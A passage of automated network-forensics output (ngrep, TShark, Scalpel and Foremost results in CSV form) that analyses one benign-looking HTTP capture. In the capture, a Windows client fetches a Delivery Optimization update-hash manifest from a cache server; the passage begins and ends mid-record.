Host,0/70,Neutral,No,External\nhttp://77.95.69.15,77.95.69.15,HTTP URL,0/70,Neutral,No,External\n","forensic_timeline.csv":"timestamp,category,event,details\n0.0,NGrep,input: /tmp/filtered_ujs5ze5k.pcap,\"Payload: filter: ((ip || ip6) || (vlan && (ip || ip6)))\nmatch (JIT): .\n####\nT 10.152.152.11:64017 -> 77.95.69.15:80 [AP] #4\nGET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com HTTP/1.1.\nConnection: Keep-Alive.\nAccept: */*.\nAccept-Encoding: gzip, deflate.\nUser-Agent: Microsoft-Delivery-Optimization/10.0.\nMS-CV: U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1.\nContent-Length: 0.\nHost: 77.95.69.15.\n.\"\n0.0,NGrep,##,\"Payload: T 77.95.69.15:80 -> 10.152.152.11:64017 [AP] #6\nHTTP/1.1 200 OK.\nServer: nginx.\nDate: Thu, 09 Jul 2026 15:36:00 GMT.\nContent-Type: application/json.\nContent-Length: 3793.\nConnection: keep-alive.\nCache-Control: public,max-age=172800.\nLast-Modified: Mon, 13 Oct 2025 22:35:46 GMT.\nVia: 1.1 varnish.\nAge: 32.\nX-Served-By: cache-par-lfpg1960024-PAR.\nX-Cache: HIT.\nX-Cache-Hits: 7.\nX-Timer: S1760461244.326878,VS0,VE0.\nX-CID: 10002.\nX-CCC: 479fa6ed-55aa-42c2-9730-a608f89732c8.\nContent-Security-Policy: default-src 'self' http: https: data: blob: 'unsafe-inline'.\nX-XSS-Protection: 1; mode=block.\nX-Frame-Options: SAMEORIGIN.\nX-Cache-Status: STALE.\nAccept-Ranges: bytes.\n.\n{\"\"MajorVersion\"\":1,\"\"MinorVersion\"\":0,\"\"HashOfHashes\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"HashOfHashesString\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"ContentLength\"\":79240605,\"\"PieceSize\"\":1048576,\"\"Pieces\"\":[\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\"\",\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\"\",\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\"\",\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\"\",\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\"\",\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\"\",\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\"\",\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\"\",\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\"\",\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\"\",\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\"\",\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\"\",\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\"\",\"\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\"\",\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\"\",\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\"\",\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\"\",\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\"\",\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\"\",\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\"\",\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\"\",\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\"\",\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\"\",\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\"\",\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\"\",\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\"\",\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\"\",\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\"\",\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\"\",\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\"\",\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\"\",\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\"\",\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\"\",\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\"\",\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\"\",\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\"\",\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\"\",\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\"\",\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\"\",\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\"\",\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\"\",\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\"\",\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\"\",\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\"\",\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\"\",\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\"\",\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\"\",\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\"\",\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\"\",\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\"\",\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\"\",\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\"\",\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\"\",\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\"\",\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRX\n##\nT 77.95.69.15:80 -> 10.152.152.11:64017 [AP] #8\nZW3geU=\"\",\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\"\",\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\"\",\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\"\",\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\"\",\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\"\",\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\"\",\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\"\",\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\"\",\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\"\",\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\"\",\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\"\",\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\"\",\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\"\",\"\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\"\",\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\"\",\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\"\",\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\"\",\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\"\",\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\"\",\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\"\",\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\"\"]}\n#exit\"\n0.0,Network Stats,TShark Stat: protocol_hierarchy,Path: /tmp/tmpvahk8v9b/tshark/stats/tshark_protocol_hierarchy.txt\n0.0,Network Stats,TShark Stat: conversations_tcp,Path: /tmp/tmpvahk8v9b/tshark/stats/tshark_conversations_tcp.txt\n0.0,Network Stats,TShark Stat: conversations_udp,Path: /tmp/tmpvahk8v9b/tshark/stats/tshark_conversations_udp.txt\n0.0,Network Stats,TShark Stat: endpoints_ip,Path: /tmp/tmpvahk8v9b/tshark/stats/tshark_endpoints_ip.txt\n0.0,Network Stats,TShark Stat: http_stats,Path: /tmp/tmpvahk8v9b/tshark/stats/tshark_http_stats.txt\n0.0,Network Stats,TShark Stat: dns_stats,Path: /tmp/tmpvahk8v9b/tshark/stats/tshark_dns_stats.txt\n0.0,Network Stats,TShark Stat: expert_info,Path: /tmp/tmpvahk8v9b/tshark/stats/tshark_expert_info.txt\n0.0,Network Stats,TShark Stat: io_graph,Path: /tmp/tmpvahk8v9b/tshark/stats/tshark_io_graph.txt\n0.0,Forensics,Object Extracted: windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com,Path: /tmp/tmpvahk8v9b/tshark/objects/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com\n","carved_files_analysis.csv":"Timestamp,Stream ID,Source IP,Source Port,Dest IP,Dest Port,Protocol,File Name,File Type,File Path,Size (bytes),MD5,SHA256,Entropy,Strings Preview,Content Preview (Hex)\n2026-07-09T21:20:20.831031,Tool:tmpvahk8v9b/carved,Unknown,0,Unknown,0,HTTP,scalpel.conf,conf,/tmp/tmpvahk8v9b/carved/scalpel.conf,796,a2da2c51920b2a2338daac52dc8f3894,35fa9929898a9ad0b97ddb04fb3b9b8cc0295a9e38cc7463922f86fa92d7c165,3.97,\" Scalpel Configuration Generated by Network Analyzer,  ext      case  header          footer,  Graphics, jpg        y     , x10   , jpg        y     , xe1           , png        y     , x0a   , gif        y     , x61   , gif        y     , x61   ,  Documents, pdf        y     , x46           , zip        y     , x04           ,  Executables, exe        y     , x5a                   REVERSE, elf        y     , x46           REVERSE,  Multimedia, mp3        y     , x33                , mp4        y     , x70 REVERSE,         \",0a 23 20 53 63 61 6c 70 65 6c 20 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 47 65 6e 65 72 61 74 65 64 20 62 79 20 4e 65 74 77 6f 72 6b 20 41 6e 61 6c 79 7a 65 72 0a 23 20 65 78 74 20 20 20 20 20 20 63 61 73 65 20 20 68 65 61 64 65 72 20 20 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 0a 0a 23 20 47 72 61 70 68 69 63 73 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 30 5c 78 30 30 5c 78 31 30 20 20 20 5c 78 66 66 5c 78 64 39 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 31 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 64 39 0a 70 6e 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 38 39 5c 78 35 30 5c 78 34 65 5c 78 34 37 5c 78 30 64 5c 78 30 61 5c 78 31 61 5c 78 30 61 20 20 20 5c 78 34 39 5c 78 34 35 5c 78 34 65 5c 78 34 34 5c 78 61 65 5c 78 34 32 5c 78 36 30 5c 78 38 32 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 37 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 39 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 0a 23 20 44 6f 63 75 6d 65 6e 74 73 0a 70 64 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 32 35 5c 78 35 30 5c 78 34 34 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 5c 78 32 35 5c 78 34 35 5c 78 34 66 5c 78 34 36 5c 78 30 44 0a 7a 69 70 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 33 5c 78 30 34 20 20 20 20 20 20 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 35 5c 78 30 36 0a 0a 23 20 45 78 65 63 75 74 61 62 6c 65 73 0a 65 78 65 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 64 5c 78 35 61 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 65 6c 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 37 66 5c 78 34 35 5c 78 34 63 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 0a 23 20 4d 75 6c 74 69 6d 65 64 69 61 0a 6d 70 33 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 39 5c 78 34 34 5c 78 33 33 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 66 62 0a 6d 70 34 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 30 30 5c 78 30 30 5c 78 30 30 5c 78 32 30 5c 78 36 36 5c 78 37 34 5c 78 37 39 5c 78 37 30 20 52 45 56 45 52 53 45 0a 20 20 20 20 20 20 20 20\n2026-07-09T21:20:20.832963,Tool:carved/scalpel,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmpvahk8v9b/carved/scalpel/audit.txt,468,382cab09f1ffedadfa0bb2a90467d54e,f555f0300396af6b2e9bc897f5dbd28fd5234af3ce4567cbf2f49813b9c25cee,5.04,\"Scalpel version 1.60 audit file, Started at Thu Jul  9 21:20:20 2026, Command line:, scalpel -c /tmp/tmpvahk8v9b/carved/scalpel.conf /tmp/filtered_ujs5ze5k.pcap -o /tmp/tmpvahk8v9b/carved/scalpel , Output directory: /tmp/tmpvahk8v9b/carved/scalpel, Configuration file: /tmp/tmpvahk8v9b/carved/scalpel.conf, Opening target , /tmp/filtered_ujs5ze5k.pcap, The following files were carved:, File,   Start, Chop, Length, Extracted From, Completed at Thu Jul  9 21:20:20 2026\",0a 53 63 61 6c 70 65 6c 20 76 65 72 73 69 6f 6e 20 31 2e 36 30 20 61 75 64 69 74 20 66 69 6c 65 0a 53 74 61 72 74 65 64 20 61 74 20 54 68 75 20 4a 75 6c 20 20 39 20 32 31 3a 32 30 3a 32 30 20 32 30 32 36 0a 43 6f 6d 6d 61 6e 64 20 6c 69 6e 65 3a 0a 73 63 61 6c 70 65 6c 20 2d 63 20 2f 74 6d 70 2f 74 6d 70 76 61 68 6b 38 76 39 62 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 75 6a 73 35 7a 65 35 6b 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 76 61 68 6b 38 76 39 62 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 20 0a 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 76 61 68 6b 38 76 39 62 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 74 6d 70 2f 74 6d 70 76 61 68 6b 38 76 39 62 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 0a 0a 4f 70 65 6e 69 6e 67 20 74 61 72 67 65 74 20 22 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 75 6a 73 35 7a 65 35 6b 2e 70 63 61 70 22 0a 0a 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 66 69 6c 65 73 20 77 65 72 65 20 63 61 72 76 65 64 3a 0a 46 69 6c 65 09 09 20 20 53 74 61 72 74 09 09 09 43 68 6f 70 09 09 4c 65 6e 67 74 68 09 09 45 78 74 72 61 63 74 65 64 20 46 72 6f 6d 0a 0a 0a 43 6f 6d 70 6c 65 74 65 64 20 61 74 20 54 68 75 20 4a 75 6c 20 20 39 20 32 31 3a 32 30 3a 32 30 20 32 30 32 36 0a\n2026-07-09T21:20:20.826899,Tool:carved/foremost,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmpvahk8v9b/carved/foremost/audit.txt,698,b938aa84482fd9d7c853a9d191530f94,92674f71b8aba72b5bb53b5da69bfd82fcb6b13f05c854db82a695737572a9e8,4.87,\"Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus, Audit File, Foremost started at Thu Jul  9 21:20:20 2026, Invocation: foremost -t all -i /tmp/filtered_ujs5ze5k.pcap -o /tmp/tmpvahk8v9b/carved/foremost , Output directory: /tmp/tmpvahk8v9b/carved/foremost, Configuration file: /etc/foremost.conf, ------------------------------------------------------------------, File: /tmp/filtered_ujs5ze5k.pcap, Start: Thu Jul  9 21:20:20 2026, Length: 5 KB (5756 bytes),  Name (bs, 512),        Size,  File Offset,  Comment , Finish: Thu Jul  9 21:20:20 2026, 0 FILES EXTRACTED, ------------------------------------------------------------------, Foremost finished at Thu Jul  9 21:20:20 2026\",46 6f 72 65 6d 6f 73 74 20 76 65 72 73 69 6f 6e 20 31 2e 35 2e 37 20 62 79 20 4a 65 73 73 65 20 4b 6f 72 6e 62 6c 75 6d 2c 20 4b 72 69 73 20 4b 65 6e 64 61 6c 6c 2c 20 61 6e 64 20 4e 69 63 6b 20 4d 69 6b 75 73 0a 41 75 64 69 74 20 46 69 6c 65 0a 0a 46 6f 72 65 6d 6f 73 74 20 73 74 61 72 74 65 64 20 61 74 20 54 68 75 20 4a 75 6c 20 20 39 20 32 31 3a 32 30 3a 32 30 20 32 30 32 36 0a 49 6e 76 6f 63 61 74 69 6f 6e 3a 20 66 6f 72 65 6d 6f 73 74 20 2d 74 20 61 6c 6c 20 2d 69 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 75 6a 73 35 7a 65 35 6b 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 76 61 68 6b 38 76 39 62 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 20 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 76 61 68 6b 38 76 39 62 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 65 74 63 2f 66 6f 72 65 6d 6f 73 74 2e 63 6f 6e 66 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 46 69 6c 65 3a 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 75 6a 73 35 7a 65 35 6b 2e 70 63 61 70 0a 53 74 61 72 74 3a 20 54 68 75 20 4a 75 6c 20 20 39 20 32 31 3a 32 30 3a 32 30 20 32 30 32 36 0a 4c 65 6e 67 74 68 3a 20 35 20 4b 42 20 28 35 37 35 36 20 62 79 74 65 73 29 0a 20 0a 4e 75 6d 09 20 4e 61 6d 65 20 28 62 73 3d 35 31 32 29 09 20 20 20 20 20 20 20 53 69 7a 65 09 20 46 69 6c 65 20 4f 66 66 73 65 74 09 20 43 6f 6d 6d 65 6e 74 20 0a 0a 46 69 6e 69 73 68 3a 20 54 68 75 20 4a 75 6c 20 20 39 20 32 31 3a 32 30 3a 32 30 20 32 30 32 36 0a 0a 30 20 46 49 4c 45 53 20 45 58 54 52 41 43 54 45 44 0a 09 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 46 6f 72 65 6d 6f 73 74 20 66 69 6e 69 73 68 65 64 20 61 74 20 54 68 75 20 4a 75 6c 20 20 39 20 32 31 3a 32 30 3a 32 30 20 32 30 32 36 0a\n","network_analysis_protocols.csv":"Protocol,Packets,Bytes,Packet %,Byte %\nTCP,9,5326,100.00%,100.00%\n","network_analysis_http_graph.csv":"Timestamp,Stream ID,Source IP,Destination IP,Method,Host,URL,Referer,User-Agent\n0,0,10.152.152.11,77.95.69.15,GET,77.95.69.15,http://77.95.69.15,None,Extracted via Decryption\n","network_analysis_ports.csv":"Port,Packets,Bytes,Packet %,Byte %\n64017,9,5326,50.00%,50.00%\n80,9,5326,50.00%,50.00%\n","packet_forensic_timeline.csv":"Timestamp_UTC,Packet_Num,Flow_ID,Src_IP,Dst_IP,Src_Port,Dst_Port,Protocol,Src_Country,Src_City,Src_ASN,Src_AS_Org,Src_Lat,Src_Lon,Src_Network,Dst_Country,Dst_City,Dst_ASN,Dst_AS_Org,Dst_Lat,Dst_Lon,Dst_Network,TCP_Flags,DNS_Query,HTTP_Url,Protocol_Stack,Layer_Depth,Description,Packet_Content(Hex),Packet_Content,Alerts,Complete_Dissection\n2026-07-09 15:36:00.398467,1,TCP 10.152.152.11:64017 -> 77.95.69.15:80,10.152.152.11,77.95.69.15,64017,80,TCP,Internal,Private Network,,,,,,France,Unknown,39801,France IX Services SASU,48.8582,2.3387,77.95.68.0/22,S,,,Ether > IP > TCP,3,TCP S Seq=52001669 Ack=0,bc24112907bbbc2411360d0c08004500003428f5400080069cbd0a98980b4d5f450ffa11005003197b85000000008002faf0c60d0000020405b40103030801010402,\".$.)...$.6\n...E..4(.@.....\n...M_E....P..{..........\n..............\",[TSHARK-OBJECT] windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 10485, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 40125, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"77.95.69.15\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64017, \"\"dport\"\": 80, \"\"seq\"\": 52001669, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 50701, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-07-09 15:36:00.398547,2,TCP 77.95.69.15:80 -> 10.152.152.11:64017,77.95.69.15,10.152.152.11,80,64017,TCP,France,Unknown,39801,France IX Services SASU,48.8582,2.3387,77.95.68.0/22,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=3830018596 Ack=52001670,bc2411360d0cbc24112907bb08004500003400004000400605b34d5f450f0a98980b0050fa11e449722403197b868012faf035380000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@...M_E.\n....P...Ir$..{.....58.............\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 1459, \"\"src\"\": \"\"77.95.69.15\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64017, \"\"seq\"\": 3830018596, \"\"ack\"\": 52001670, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 13624, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-07-09 15:36:00.398691,3,TCP 10.152.152.11:64017 -> 77.95.69.15:80,10.152.152.11,77.95.69.15,64017,80,TCP,Internal,Private Network,,,,,,France,Unknown,39801,France IX Services SASU,48.8582,2.3387,77.95.68.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=52001670 Ack=3830018597,bc24112907bbbc2411360d0c08004500002828f6400080069cc80a98980b4d5f450ffa11005003197b86e4497225501020148b3e0000,\".$.)...$.6\n...E..((.@.....\n...M_E....P..{..Ir%P. ..>..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10486, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 40136, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"77.95.69.15\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64017, \"\"dport\"\": 80, \"\"seq\"\": 52001670, \"\"ack\"\": 3830018597, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 35646, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-09 15:36:00.398737,4,TCP 10.152.152.11:64017 -> 77.95.69.15:80,10.152.152.11,77.95.69.15,64017,80,TCP,Internal,Private Network,,,,,,France,Unknown,39801,France IX Services SASU,48.8582,2.3387,77.95.68.0/22,PA,,http://77.95.69.15/phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com,Ether > IP > TCP > HTTP > 